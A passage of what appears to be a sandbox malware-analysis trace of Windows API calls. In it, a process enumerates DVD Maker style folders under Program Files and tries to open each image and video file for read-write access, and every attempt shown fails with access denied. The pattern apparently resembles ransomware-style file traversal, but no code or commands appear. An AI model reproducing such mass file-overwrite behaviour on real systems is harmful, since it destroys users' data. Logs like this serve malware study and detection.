"c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.063] GetLastError () returned 0x5 [0191.063] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.064] GetLastError () returned 0x5 [0191.064] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.065] GetLastError () returned 0x5 [0191.065] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.066] GetLastError () returned 0x5 [0191.066] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.067] GetLastError () returned 0x5 [0191.067] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.068] GetLastError () returned 0x5 [0191.068] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.069] GetLastError () returned 0x5 [0191.069] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0191.070] GetProcessHeap () returned 0x2ef0000 [0191.070] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0191.073] GetProcessHeap () returned 0x2ef0000 [0191.073] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x7a) returned 0x2f123a0 [0191.073] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0191.076] GetProcessHeap () returned 0x2ef0000 [0191.076] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0191.076] GetProcessHeap () returned 0x2ef0000 [0191.076] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x27c) returned 0x2f47728 [0191.076] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.077] GetLastError () returned 0x5 [0191.077] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.077] GetLastError () returned 0x5 [0191.077] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.078] GetLastError () returned 0x5 [0191.078] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.078] GetLastError () returned 0x5 [0191.078] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.079] GetLastError () returned 0x5 [0191.079] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.079] GetLastError () returned 0x5 [0191.079] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.079] GetLastError () returned 0x5 [0191.079] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.080] GetLastError () returned 0x5 [0191.080] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.080] GetLastError () returned 0x5 [0191.080] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.080] GetLastError () returned 0x5 [0191.080] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.080] GetLastError () returned 0x5 [0191.081] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.081] GetLastError () returned 0x5 [0191.081] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.081] GetLastError () returned 0x5 [0191.081] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.082] GetLastError () returned 0x5 [0191.082] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.082] GetLastError () returned 0x5 [0191.082] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.082] GetLastError () returned 0x5 [0191.082] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.083] GetLastError () returned 0x5 [0191.083] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0191.084] GetProcessHeap () returned 0x2ef0000 [0191.084] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0191.084] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.085] GetLastError () returned 0x5 [0191.085] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.085] GetLastError () returned 0x5 [0191.085] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.085] GetLastError () returned 0x5 [0191.085] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.085] GetLastError () returned 0x5 [0191.085] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.086] GetLastError () returned 0x5 [0191.086] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.086] GetLastError () returned 0x5 [0191.086] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.086] GetLastError () returned 0x5 [0191.086] GetProcessHeap () returned 0x2ef0000 [0191.086] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x76) returned 0x2f09d00 [0191.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0191.088] GetProcessHeap () returned 0x2ef0000 [0191.088] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0191.088] GetProcessHeap () returned 0x2ef0000 [0191.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x278) returned 0x2f47728 [0191.088] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.089] GetLastError () returned 0x5 [0191.089] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.089] GetLastError () returned 0x5 [0191.089] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.090] GetLastError () returned 0x5 [0191.090] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.090] GetLastError () returned 0x5 [0191.090] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.090] GetLastError () returned 0x5 [0191.090] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.090] GetLastError () returned 0x5 [0191.090] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.091] GetLastError () returned 0x5 [0191.091] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.091] GetLastError () returned 0x5 [0191.091] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.091] GetLastError () returned 0x5 [0191.091] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.091] GetLastError () returned 0x5 [0191.091] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0191.092] GetProcessHeap () returned 0x2ef0000 [0191.092] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0191.092] GetProcessHeap () returned 0x2ef0000 [0191.092] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x80) returned 0x2f123a0 [0191.092] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0191.095] GetProcessHeap () returned 0x2ef0000 [0191.095] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0191.095] GetProcessHeap () returned 0x2ef0000 [0191.095] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x282) returned 0x2f47728 [0191.095] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.096] GetLastError () returned 0x5 [0191.096] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.097] GetLastError () returned 0x5 [0191.097] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.097] GetLastError () returned 0x5 [0191.097] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.098] GetLastError () returned 0x5 [0191.098] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.098] GetLastError () returned 0x5 [0191.098] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.098] GetLastError () returned 0x5 [0191.098] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.098] GetLastError () returned 0x5 [0191.098] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.099] GetLastError () returned 0x5 [0191.099] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.099] GetLastError () returned 0x5 [0191.100] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.100] GetLastError () returned 0x5 [0191.100] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.100] GetLastError () returned 0x5 [0191.100] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.101] GetLastError () returned 0x5 [0191.101] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.101] GetLastError () returned 0x5 [0191.101] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, 